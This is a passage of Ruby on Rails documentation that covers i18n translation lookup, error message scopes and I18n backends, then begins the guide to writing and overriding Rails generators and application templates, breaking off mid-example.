You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.

For example, when you add the following translations:

```
en:
  activerecord:
    models:
      user: Customer
    attributes:
      user:
        login: "Handle"
      # will translate User attribute "login" as "Handle"
```

Then `User.model_name.human` will return "Customer" and `User.human_attribute_name("login")` will return "Handle".

```
User.model_name.human
# => "Customer"

User.human_attribute_name("login")
# => "Handle"
```

You can also set a plural form for model names:

```
en:
  activerecord:
    models:
      user:
        one: Customer
        other: Customers
```

Then, `User.model_name.human(count: 2)` will return "Customers". With `count: 1` or without params, it will return "Customer".

```
User.model_name.human(count: 2)
# => "Customers"

User.model_name.human
# => "Customer"
```

In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:

```
en:
  activerecord:
    attributes:
      user/role:
        admin: "Admin"
        contributor: "Contributor"
```

Then `User.human_attribute_name("role.admin")` will return "Admin".

```
User.human_attribute_name("role.admin")
# => "Admin"
```

If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths.

#### [6.1.1. Error Message Scopes](#error-message-scopes)

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you a way to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute:

```
class User < ApplicationRecord
  validates :name, presence: true
end
```

The key for the error message in this case is `:blank`. Thus, in our example it will try the following keys in this order and return the first result:

```
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
```

To explain it more abstractly, it returns the first key that matches in the order of the following list.

```
activerecord.errors.models.[model_name].attributes.[attribute_name].[key]
activerecord.errors.models.[model_name].[key]
activerecord.errors.messages.[key]
errors.attributes.[attribute_name].[key]
errors.messages.[key]
```

Additionally, when your models are using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from `User`:

```
class Admin < User
  validates :name, presence: true
end
```

Then Active Record will look for messages in this order:

```
activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
```

This way you can provide special translations for various error messages at different points in your model's inheritance chain and in the attributes, models, or default scopes.

#### [6.1.2. Error Message Interpolation](#error-message-interpolation)

The translated model name, translated attribute name, and value are always available for interpolation as `model`, `attribute` and `value` respectively.

For example, instead of the default error message `"can't be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. `count`, where available, can be used for pluralization if present:

| validation               | with option                   | message                       | interpolation |
| ------------------------ | ----------------------------- | ----------------------------- | ------------- |
| confirmation             | -                             | :confirmation                 | attribute     |
| acceptance               | -                             | :accepted                     | -             |
| presence                 | -                             | :blank                        | -             |
| absence                  | -                             | :present                      | -             |
| length                   | :within, :in                  | :too\_short                   | count         |
| length                   | :within, :in                  | :too\_long                    | count         |
| length                   | :is                           | :wrong\_length                | count         |
| length                   | :minimum                      | :too\_short                   | count         |
| length                   | :maximum                      | :too\_long                    | count         |
| uniqueness               | -                             | :taken                        | -             |
| format                   | -                             | :invalid                      | -             |
| inclusion                | -                             | :inclusion                    | -             |
| exclusion                | -                             | :exclusion                    | -             |
| associated               | -                             | :invalid                      | -             |
| non-optional association | -                             | :required                     | -             |
| numericality             | -                             | :not\_a\_number               | -             |
| numericality             | :greater\_than                | :greater\_than                | count         |
| numericality             | :greater\_than\_or\_equal\_to | :greater\_than\_or\_equal\_to | count         |
| numericality             | :equal\_to                    | :equal\_to                    | count         |
| numericality             | :less\_than                   | :less\_than                   | count         |
| numericality             | :less\_than\_or\_equal\_to    | :less\_than\_or\_equal\_to    | count         |
| numericality             | :other\_than                  | :other\_than                  | count         |
| numericality             | :only\_integer                | :not\_an\_integer             | -             |
| numericality             | :in                           | :in                           | count         |
| numericality             | :odd                          | :odd                          | -             |
| numericality             | :even                         | :even                         | -             |
| comparison               | :greater\_than                | :greater\_than                | count         |
| comparison               | :greater\_than\_or\_equal\_to | :greater\_than\_or\_equal\_to | count         |
| comparison               | :equal\_to                    | :equal\_to                    | count         |
| comparison               | :less\_than                   | :less\_than                   | count         |
| comparison               | :less\_than\_or\_equal\_to    | :less\_than\_or\_equal\_to    | count         |
| comparison               | :other\_than                  | :other\_than                  | count         |

### [6.2. Action Mailer E-Mail Subjects](#action-mailer-e-mail-subjects)

If you don't pass a subject to the `mail` method, Action Mailer will try to find it in your translations. The performed lookup will use the pattern `<mailer_scope>.<action_name>.subject` to construct the key.

```
# user_mailer.rb
class UserMailer < ActionMailer::Base
  def welcome(user)
    #...
  end
end
```

```
en:
  user_mailer:
    welcome:
      subject: "Welcome to Rails Guides!"
```

To send parameters to interpolation use the `default_i18n_subject` method on the mailer:

```
# user_mailer.rb
class UserMailer < ActionMailer::Base
  def welcome(user)
    mail(to: user.email, subject: default_i18n_subject(user: user.name))
  end
end
```

```
en:
  user_mailer:
    welcome:
      subject: "%{user}, welcome to Rails Guides!"
```

### [6.3. Form Helpers](#form-helpers)

Form helpers use model and attribute translations when they build labels and error messages. For example, `form_with` calls `human_attribute_name` for label text when you do not pass an explicit label:

```
<%= form_with model: @user do |form| %>
  <%= form.label :login %>
  <%= form.text_field :login %>
<% end %>
```

With the following translations:

```
en:
  activerecord:
    attributes:
      user:
        login: "Handle"
```

the label renders as:

```
<label for="user_login">Handle</label>
```

### [6.4. Action View Helper Methods](#action-view-helper-methods)

Several Action View helpers use locale data for dates, times, numbers, and currency formatting.

* [`distance_of_time_in_words`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words) translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on.

  ```
  distance_of_time_in_words(Time.current, Time.current + 3.minutes)
  # => "3 minutes"
  ```

  It uses translations from the `datetime.distance_in_words` scope.

* [`relative_time_in_words`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-relative_time_in_words) builds on `distance_of_time_in_words` and adds a localized prefix/suffix depending on whether the time is in the past or future.

  ```
  relative_time_in_words(3.minutes.from_now)
  # => "in 3 minutes"
  relative_time_in_words(3.minutes.ago)
  # => "3 minutes ago"
  ```

  It uses translations from the `datetime.relative` scope.

* [`datetime_select`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-datetime_select) and [`select_month`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-select_month) use translated month names for populating the resulting select tag.

  ```
  <%= select_month(Date.new(2024, 3, 1)) %>
  ```

  The rendered `<option>` labels come from translated month names in the `date.month_names` scope. `datetime_select` also looks up the order option from `date.order` (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the `datetime.prompts` scope if applicable.

* The [`number_to_currency`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency), [`number_with_precision`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision), [`number_to_percentage`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage), [`number_with_delimiter`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter), and [`number_to_human_size`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size) helpers use the number format settings located in the `number` scope.

  ```
  number_to_currency(10)
  # => "$10.00"
  ```

### [6.5. Active Model Methods](#active-model-methods)

Active Model uses translations for human-readable model names, attribute names, and validation error messages.

* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the `activerecord.models` and `activerecord.attributes` scopes.

  ```
  User.model_name.human
  # => "Customer"
  ```

  They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".

* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name`.

  ```
  user.errors.generate_message(:name, :blank)
  # => "can't be blank"
  ```

  It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".

* [`ActiveModel::Error#full_message`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Error.html#method-i-full_message) and [`ActiveModel::Errors#full_messages`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Errors.html#method-i-full_messages) prepend the attribute name to the error message using a format looked up from `errors.format` (default: `"%{attribute} %{message}"`).

  ```
  user.errors.full_messages
  # => ["Name can't be blank"]
  ```

  To customize the default format, override it in the app's locale files. To customize the format per model or per attribute, see [`config.active_model.i18n_customize_full_message`](configuring.html#config-active-model-i18n-customize-full-message).

### [6.6. Active Support Methods](#active-support-methods)

Active Support also includes helpers that use locale-specific formatting rules.

* [`Array#to_sentence`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to_sentence) uses format settings from the `support.array` scope.

  ```
  ["apples", "oranges", "pears"].to_sentence
  # => "apples, oranges, and pears"
  ```

## [7. Advanced Configuration and Setup](#advanced-configuration-and-setup)

### [7.1. Configuring the load paths and default locale](#configuring-the-load-paths-and-default-locale)

Rails automatically adds translation files from `config/locales` to the translations load path. By default, this includes `.rb` and `.yml` files, and for many applications that is all you need.

Rails' own translations are organized the same way. See, for example, the Active Model validation messages in [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/main/activemodel/lib/active_model/locale/en.yml) or the date and time formats in [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/main/activesupport/lib/active_support/locale/en.yml). With the default `Simple` backend, you can store translations in YAML files or in plain Ruby hashes.

The translations load path (`I18n.load_path`) is the list of translation files Rails loads automatically. You can customize it if you want a different directory structure or naming scheme.

The backend lazy-loads these translations the first time a translation is looked up. You can still swap the backend implementation later if needed.

To add more translation files or change the default locale, configure `config.i18n` in `config/application.rb`:

```
config.i18n.load_path += Dir[Rails.root.join("my", "locales", "*.{rb,yml}")]
config.i18n.default_locale = :de
```

The load path must be configured before any translations are looked up.

If you need to work directly with i18n instead, for example in an initializer, you can do that as well:

```
# config/initializers/locale.rb

# Where the I18n library should search for translation files
I18n.load_path += Dir[Rails.root.join("lib", "locale", "*.{rb,yml}")]

# Permitted locales available for the application
I18n.available_locales = [:en, :pt]

# Set default locale to something other than :en
I18n.default_locale = :pt
```

In general, prefer `config.i18n.*` in application configuration. Appending directly to `I18n.load_path` will *not* override translations from external gems in the same way.

You can use YAML (`.yml`) or plain Ruby (`.rb`) files to store translations in the `Simple` backend. YAML is the format most Rails applications use, but it is sensitive to whitespace and special characters, so syntax mistakes can prevent a locale file from loading correctly.

Ruby locale files can be useful when you want syntax errors to fail fast, or when you need values such as lambdas in your locale data.

If your translations are stored in YAML files, certain keys must be escaped. They are:

* true, on, yes
* false, off, no

Examples:

```
# config/locales/en.yml
en:
  success:
    'true':  'True!'
    'on':    'On!'
    'false': 'False!'
  failure:
    true:    'True!'
    off:     'Off!'
    false:   'False!'
```

```
I18n.t "success.true"  # => 'True!'
I18n.t "success.on"    # => 'On!'
I18n.t "success.false" # => 'False!'
I18n.t "failure.false" # => Translation Missing
I18n.t "failure.off"   # => Translation Missing
I18n.t "failure.true"  # => Translation Missing
```

### [7.2. Storing Custom Translations](#storing-custom-translations)

The `Simple` backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. Other backends may allow or require different formats.

For example a Ruby Hash providing translations can look like this:

```
{
  pt: {
    foo: {
      bar: "baz"
    }
  }
}
```

The equivalent YAML file would look like this:

```
pt:
  foo:
    bar: baz
```

As you see, in both cases the top level key is the locale. `"foo"` is a namespace key and `"bar"` is the key for the translation "baz".

Here is a "real" example from the Active Support `en.yml` translations YAML file:

```
en:
  date:
    formats:
      default: "%Y-%m-%d"
      short: "%b %d"
      long: "%B %d, %Y"
```

So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:

```
I18n.t "date.formats.short"                # => "%b %d"
I18n.t "formats.short", scope: "date"      # => "%b %d"
I18n.t "short", scope: "date.formats"      # => "%b %d"
I18n.t "short", scope: ["date", "formats"] # => "%b %d"
```

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

### [7.3. Using Alternate Backends](#using-alternate-backends)

For several reasons the `Simple` backend shipped with Active Support only does the "simplest thing that could possibly work" for Ruby on Rails. It is guaranteed to work for English and, as a side effect, for languages that are very similar to English. It is also only capable of reading translations and cannot dynamically store them in another format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the `Simple` backend implementation with something else that fits better for your needs, by passing a backend instance to the `I18n.backend=` setter.

For example, you can replace the `Simple` backend with the `Chain` backend to chain multiple backends together. This is useful when you want to use standard translations with a `Simple` backend but store custom application translations in a database or other backends.

With the `Chain` backend, you could use the Active Record backend and fall back to the (default) `Simple` backend:

```
I18n.backend = I18n::Backend::Chain.new(
  I18n::Backend::ActiveRecord.new,
  I18n.backend
)
```

In this configuration, lookups first check the Active Record backend and then fall back to the locale files loaded by the `Simple` backend:

```
I18n.t("welcome")
# Looks for "welcome" in the Active Record backend first,
# then in YAML/Ruby locale files.
```

This can be useful when you want translators or administrators to update some translations at runtime while still keeping default translations in version-controlled locale files.

### [7.4. Handling I18n Exceptions](#handling-i18n-exceptions)

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

| Exception                            | Reason                                                                                            |
| ------------------------------------ | ------------------------------------------------------------------------------------------------- |
| `I18n::MissingTranslationData`       | no translation was found for the requested key                                                    |
| `I18n::InvalidLocale`                | the locale set to `I18n.locale` is invalid (e.g. `nil`)                                           |
| `I18n::InvalidPluralizationData`     | a count option was passed but the translation data is not suitable for pluralization              |
| `I18n::MissingInterpolationArgument` | the translation expects an interpolation argument that has not been passed                        |
| `I18n::ReservedInterpolationKey`     | the translation contains a reserved interpolation variable name (i.e. one of: `scope`, `default`) |
| `I18n::UnknownFileType`              | the backend does not know how to handle a file type that was added to `I18n.load_path`            |

#### [7.4.1. Handling Missing Translations](#handling-missing-translations)

If `config.i18n.raise_on_missing_translations` is `false` (the default in all environments), the missing translation message is returned instead. It includes the missing key and scope so you can find and fix the problem.

If `config.i18n.raise_on_missing_translations` is `true`, missing translations raise errors instead of returning the usual `"Translation missing: ..."` message. If the value is `:strict`, model translations also raise. It is a good idea to enable this in your test environment so you can catch missing translations early.

For example:

```
I18n.t("missing")
# => "Translation missing: en.missing"

I18n.t!("missing")
# => I18n::MissingTranslationData: Translation missing: en.missing
```

When `config.i18n.raise_on_missing_translations` is `true`, the same lookup raises:

```
I18n.t("missing")
# => I18n::MissingTranslationData: Translation missing: en.missing

I18n.t("inbox", locale: nil)
# => I18n::InvalidLocale

I18n.t("product_price", locale: :nl)
# => I18n::MissingInterpolationArgument
```

If you want to customize this behavior further, set `config.i18n.raise_on_missing_translations = false` and implement an `I18n.exception_handler`. The custom exception handler can be a proc or a class with a `call` method:

```
# config/initializers/i18n.rb
module I18n
  class RaiseExceptForSpecificKeyExceptionHandler
    def call(exception, locale, key, options)
      if key == "special.key"
        "translation missing!" # return this, don't raise it
      elsif exception.is_a?(MissingTranslation)
        raise exception.to_exception
      else
        raise exception
      end
    end
  end
end

I18n.exception_handler = I18n::RaiseExceptForSpecificKeyExceptionHandler.new
```

This would raise all exceptions the same way the default handler would, except for `I18n.t("special.key")`.

The `translate` view helper also routes missing translations through `I18n.exception_handler`, so a custom handler applies there as well.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/generators.html
----

***

## [1. What are Generators?](#what-are-generators-questionmark)

When you create an application using the `rails new` command, you're using a Rails generator. Generators create specific files in your application and allow automating boilerplate code. You can get a list of all available generators by invoking `bin/rails generate` from within any Rails application:

```
$ rails new myapp
$ cd myapp
$ bin/rails generate
Usage:
  bin/rails generate GENERATOR [args] [options]

General options:
  -h, [--help]     # Print generator's options and usage
  -p, [--pretend]  # Run but do not make any changes
  -f, [--force]    # Overwrite files that already exist
  -s, [--skip]     # Skip files that already exist
  -q, [--quiet]    # Suppress status output

Please choose a generator below.

Rails:
  application_record
  authentication
  benchmark
  channel
  controller
  generator
  ...
SolidQueue:
  solid_queue:install

Stimulus:
  stimulus

TestUnit:
  test_unit:authentication
  test_unit:channel
  ...
```

To create a Rails application we use the `rails` global command which uses the version of Rails installed via `gem install rails`. When inside the directory of your application, we use the `bin/rails` command which uses the version of Rails bundled with the application.

You will get a list of all available generators along with usage instructions. For example, you can run a generator with the `--pretend` (or `-p`) option to get a sense of what a specific generator would do *without* actually making the changes:

```
$ bin/rails generate model product name:string --pretend
      invoke  active_record
      create    db/migrate/20260407190300_create_products.rb
      create    app/models/product.rb
      invoke    test_unit
      create      test/models/product_test.rb
      create      test/fixtures/products.yml
```

None of the above files are actually created with the `--pretend` option.

The `--pretend` option can be handy to check the difference in files generated by related generators before actually running them. For example, `model` vs. `resource` generator.

To see a detailed description of a particular generator, invoke the generator with the `--help` option. For example:

```
$ bin/rails generate scaffold --help
Usage:
  bin/rails generate scaffold NAME [field[:type][:index] field[:type][:index]] [options]
...
Description:
    Scaffolds an entire resource, from model and migration to controller and
    views, along with a full test suite. The resource is ready to use as a
    starting point for your RESTful, resource-oriented application.
...
Examples:
    `bin/rails generate scaffold post`
    `bin/rails generate scaffold post title:string body:text published:boolean`
    `bin/rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
    `bin/rails generate scaffold user email:uniq password:digest`
...
```

The `--help` output is a good resource to learn more about a particular generator. It provides detailed usage instructions as well as examples.

## [2. Creating Your First Generator](#creating-your-first-generator)

In addition to generators provided by Rails, you can also build custom generators. Let's build a generator that creates an initializer file named `hello_generator.rb` inside `config/initializers` folder. We will do this manually first and then see how to do it using a `generator` command as well.

Generators are built on top of [Thor](https://github.com/rails/thor), which provides useful options for parsing and an API for manipulating files.

The first step in manually creating a generator is to create a file named `initializer_generator.rb` inside `lib/generators` with the following content:

```
class InitializerGenerator < Rails::Generators::Base
  def create_initializer_file
    create_file "config/initializers/hello_generator.rb", <<~RUBY
      # Add hello_generator.rb file content here
    RUBY
  end
end
```

The name of our generator based on the file and Ruby class name is `initializer` and it inherits from [`Rails::Generators::Base`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Base.html). When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Our new generator is intentionally simple, it has only one method definition. The method invokes [`create_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method), which will create a file at the given destination with the given content.

To invoke our new generator, we run:

```
$ bin/rails generate initializer
```

This will create an empty file named `hello_generator.rb` within the `config/initializers` folder.

Before we go on, let's check the description of our new generator:

```
$ bin/rails generate initializer --help
```

Rails is usually able to derive a good description if a generator is namespaced, such as `ActiveRecord::Generators::ModelGenerator`, but not in this case. We can solve this problem in two ways. The first way is to add a description by calling [`desc`](https://www.rubydoc.info/gems/thor/Thor#desc-class_method) inside our generator:

```
class InitializerGenerator < Rails::Generators::Base
  desc "This generator creates a file at config/initializers"
  def create_initializer_file
    create_file "config/initializers/hello_generator.rb", <<~RUBY
      # Add hello_generator.rb file content here
    RUBY
  end
end
```

Now we can see the description by invoking `--help` on the new generator.

The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.

### [2.1. Creating Generators by Using a Generator](#creating-generators-by-using-a-generator)

Generators themselves have a generator that can create the necessary files in the right locations. Let's remove our `InitializerGenerator` and use `bin/rails generate generator` command to generate a new one:

```
$ rm lib/generators/initializer_generator.rb

$ bin/rails generate generator initializer
      create  lib/generators/initializer
      create  lib/generators/initializer/initializer_generator.rb
      create  lib/generators/initializer/USAGE
      create  lib/generators/initializer/templates
      invoke  test_unit
      create    test/lib/generators/initializer_generator_test.rb
```

This is the generator just created:

```
# lib/generators/initializer/initializer_generator.rb
class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("templates", __dir__)
end
```

First, notice that the generator inherits from [`Rails::Generators::NamedBase`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/NamedBase.html) instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer and will be available to our code via `name`.

We can see that by checking the description of the new generator:

```
$ bin/rails generate initializer --help
Usage:
  bin/rails generate initializer NAME [options]
```

Also, notice that the generator has a class method called [`source_root`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Base.html#method-c-source_root). This method points to the location of our template files. Template files are the files that generators use as blueprints when creating new files in the application. By default, they are in the `lib/generators/initializer/templates` directory that was just created.

In order to understand how generator templates work, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:

```
# Add initialization content here
```

And let's change the generator to copy this template when invoked:

```
class InitializerGenerator < Rails::Generators::NamedBase
  source_root File.expand_path("templates", __dir__)

  def copy_initializer_file
    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
  end
end
```

Now let's run our generator:

```
$ bin/rails generate initializer core_extensions
      create  config/initializers/core_extensions.rb

$ cat config/initializers/core_extensions.rb
# Add initialization content here
```

We see that [`copy_file`](https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method) created `config/initializers/core_extensions.rb` with the contents of our template. (The `file_name` method used in the destination path is inherited from `Rails::Generators::NamedBase`.)

### [2.2. Generator Command Line Options](#generator-command-line-options)

Generators can support command line options using [`class_option`](https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_option-instance_method). For example:

```
class InitializerGenerator < Rails::Generators::NamedBase
  class_option :scope, type: :string, default: "app"
end
```

Now our generator can be invoked with a `--scope` option:

```
$ bin/rails generate initializer theme --scope dashboard
```

This will override the default value "app" for the `--scope` option with "dashboard". Option values are accessible in generator methods via [`options`](https://www.rubydoc.info/gems/thor/Thor/Base#options-instance_method):

```
def copy_initializer_file
  @scope = options["scope"]
  copy_file "initializer.rb", "config/initializers/#{@scope}/#{file_name}.rb"
end
```

Now with the scope option set, the file `theme.rb` is generated at `config/initializers/dashboard/`.

## [3. Generator Resolution](#generator-resolution)

When resolving a generator's name, Rails looks for the generator using multiple file names. For example, when you run `bin/rails generate initializer core_extensions`, Rails tries to load each of the following files, in order, until one is found:

* `rails/generators/initializer/initializer_generator.rb`
* `generators/initializer/initializer_generator.rb`
* `rails/generators/initializer_generator.rb`
* `generators/initializer_generator.rb`

If none of these are found, an error will be raised.

We put our generator in the application's `lib/` directory because that directory is in `$LOAD_PATH` (Ruby's list of directories searched when loading files), thus allowing Rails to find and load the generator files.

`$LOAD_PATH` is initialized by Ruby and expanded by Bundler and Rails at boot time. Bundler adds each gem's `lib/` directory, and Rails adds your application's `lib/` directory, which is why generators placed there are findable. You can inspect the full load path by running `bin/rails runner 'puts $LOAD_PATH'`. You can modify it with `config.autoload_paths` in your `application.rb` file.

## [4. Overriding Rails Generators and Templates](#overriding-rails-generators-and-templates)

It's possible to override the built-in Rails generators and configure them via [`config.generators`](configuring.html#configuring-generators). As your Rails application grows, you may want to add your own methods to generated controllers, for example, or change the format of generated views.

As an example of how to override a built-in generator, let's take a closer look at how the scaffold generator works.

```
$ bin/rails generate scaffold User name:string
      invoke  active_record
      create    db/migrate/20230518000000_create_users.rb
      create    app/models/user.rb
      invoke    test_unit
      create      test/models/user_test.rb
      create      test/fixtures/users.yml
      invoke  resource_route
       route    resources :users
      invoke  scaffold_controller
      create    app/controllers/users_controller.rb
      invoke    erb
      create      app/views/users
      create      app/views/users/index.html.erb
      create      app/views/users/edit.html.erb
      create      app/views/users/show.html.erb
      create      app/views/users/new.html.erb
      create      app/views/users/_form.html.erb
      create      app/views/users/_user.html.erb
      invoke    resource_route
      invoke    test_unit
      create      test/controllers/users_controller_test.rb
      create      test/system/users_test.rb
      invoke    helper
      create      app/helpers/users_helper.rb
      invoke      test_unit
      invoke    jbuilder
      create      app/views/users/index.json.jbuilder
      create      app/views/users/show.json.jbuilder
```

From the output, we can see that the scaffold generator invokes other generators, such as the `scaffold_controller` generator. And some of those generators invoke other generators too. In particular, the `scaffold_controller` generator invokes the `helper` generator.

Let's see how to override the built-in `helper` generator with a new generator. We'll name the new generator `my_helper`. We create this generator using the `generator` command inside `lib/generators/rails`:

```
$ bin/rails generate generator rails/my_helper
      create  lib/generators/rails/my_helper
      create  lib/generators/rails/my_helper/my_helper_generator.rb
      create  lib/generators/rails/my_helper/USAGE
      create  lib/generators/rails/my_helper/templates
      invoke  test_unit
      create    test/lib/generators/rails/my_helper_generator_test.rb
```

And in the file `my_helper_generator.rb`, we'll define the generator as:

```
# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
  def create_helper_file
    create_file "app/helpers/#{file_name}_helper.rb", <<~RUBY
      module #{class_name}Helper
        # I'm helping!
      end
    RUBY
  end
end
```

Finally, we need to tell Rails to use the `my_helper` generator instead of the built-in `helper` generator. For that we use `config.generators`. In `config/application.rb`, let's add:

```
config.generators do |g|
  g.helper :my_helper
end
```

Now if we run the scaffold generator again, we see the `my_helper` generator in action:

```
$ bin/rails generate scaffold Article body:text
      ...
      invoke  scaffold_controller
      ...
      invoke    my_helper
      create      app/helpers/articles_helper.rb
      ...
```

You may notice that the output for the built-in `helper` generator includes "invoke test\_unit", whereas the output for `my_helper` does not. Although the `helper` generator does not generate tests by default, it does provide a hook to do so using [`hook_for`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Base.html#method-c-hook_for). We can do the same by including `hook_for :test_framework, as: :helper` in the `MyHelperGenerator` class. See the [`hook_for`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Generators/Base.html#method-c-hook_for) documentation for more information.

### [4.1. Overriding Generators with Fallbacks](#overriding-generators-with-fallbacks)

Another way to override specific generators is by using *fallbacks*. A fallback allows a generator namespace to delegate to another generator namespace when a matching generator is not found.

For example, let's say we want to override the `test_unit:model` generator with our own `my_test_unit:model` generator, but we don't want to replace all of the other `test_unit:*` generators such as `test_unit:controller`. Instead of implementing every generator in the `my_test_unit` namespace, we can configure `my_test_unit` to fall back to `test_unit` for any generator we haven't explicitly defined.

First, we create the `my_test_unit:model` generator in `lib/generators/my_test_unit/model/model_generator.rb`:

```
module MyTestUnit
  class ModelGenerator < Rails::Generators::NamedBase
    source_root File.expand_path("templates", __dir__)

    def do_different_stuff
      say "Doing different stuff..."
    end
  end
end
```

Because `my_test_unit` is a custom namespace rather than an override of a Rails built-in generator, we place it in `lib/generators/my_test_unit/` rather than `lib/generators/rails/`. Rails will find it via the normal load path lookup. We'll also need to register it as the `test_framework` via `config.generators`, which we'll do in the next step.

Next, we use `config.generators` to configure the `test_framework` generator as `my_test_unit`, but we also configure a fallback such that any missing `my_test_unit:*` generators resolve to `test_unit:*`:

```
config.generators do |g|
  g.test_framework :my_test_unit, fixture: false
  g.fallbacks[:my_test_unit] = :test_unit
end
```

Now when we run the scaffold generator, we see that `my_test_unit` has replaced `test_unit`, but only the model tests have been affected:

```
$ bin/rails generate scaffold Comment body:text
      invoke  active_record
      create    db/migrate/20230518000000_create_comments.rb
      create    app/models/comment.rb
      invoke    my_test_unit
    Doing different stuff...
      invoke  resource_route
       route    resources :comments
      invoke  scaffold_controller
      create    app/controllers/comments_controller.rb
      invoke    erb
      create      app/views/comments
      create      app/views/comments/index.html.erb
      create      app/views/comments/edit.html.erb
      create      app/views/comments/show.html.erb
      create      app/views/comments/new.html.erb
      create      app/views/comments/_form.html.erb
      create      app/views/comments/_comment.html.erb
      invoke    resource_route
      invoke    my_test_unit
      create      test/controllers/comments_controller_test.rb
      create      test/system/comments_test.rb
      invoke    helper
      create      app/helpers/comments_helper.rb
      invoke      my_test_unit
      invoke    jbuilder
      create      app/views/comments/index.json.jbuilder
      create      app/views/comments/show.json.jbuilder
```

Notice that the model invocation of `my_test_unit` only prints "Doing different stuff..." and creates no test file, because our custom generator doesn't create one. The controller and helper invocations of `my_test_unit` fall back to `test_unit`, which is why `test/controllers/comments_controller_test.rb` is still generated as normal.

### [4.2. Overriding Generator Templates](#overriding-generator-templates)

When resolving generator template files, Rails looks first in the application's `lib/templates/` directory, then falls back to the generator's own `source_root` directory. This means we can override the templates used by Rails' built-in generators by placing our own versions in `lib/templates/`. For example, we could override the [scaffold controller template](https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt) or the [scaffold view templates](https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates).

To see this in action, let's create a `lib/templates/erb/scaffold/index.html.erb.tt` file with the content shown below. The extra `.tt` extension tells Rails that the file is a generator template that needs to be processed by Thor first (The `.tt` stands for "thor template").

```
<%%= @<%= plural_table_name %>.count %> <%= human_name.pluralize %>
```

The template is an ERB template that renders *another* ERB template. So any `<%` that should appear in the *resulting* template must be escaped as `<%%` in the *generator* template.

Now when you run Rails' built-in scaffold generator:

```
$ bin/rails generate scaffold Post title:string
      ...
      create      app/views/posts/index.html.erb
      ...
```

The content of `app/views/posts/index.html.erb` is:

```
<%= @posts.count %> Posts
```

## [5. Application Templates](#application-templates)

Application templates are a little different from generators. While generators add files to an existing Rails application (models, views, etc.), templates are used to automate the setup of a new Rails application. Templates are Ruby scripts (typically named `template.rb`) that customize new Rails applications right after they are generated.

Let's see how to use a template while creating a new Rails application.

### [5.1. Creating and Using Templates](#creating-and-using-templates)

Let's start with a sample template Ruby script. The below template adds Devise to the `Gemfile` after asking the user and also allows the user to name the Devise user model. After `bundle install` has been run, the template runs the Devise generators and also runs migrations. Finally, the template does `git add` and `git commit`.

```
# template.rb
if yes?("Would you like to install Devise?")
  gem "devise"
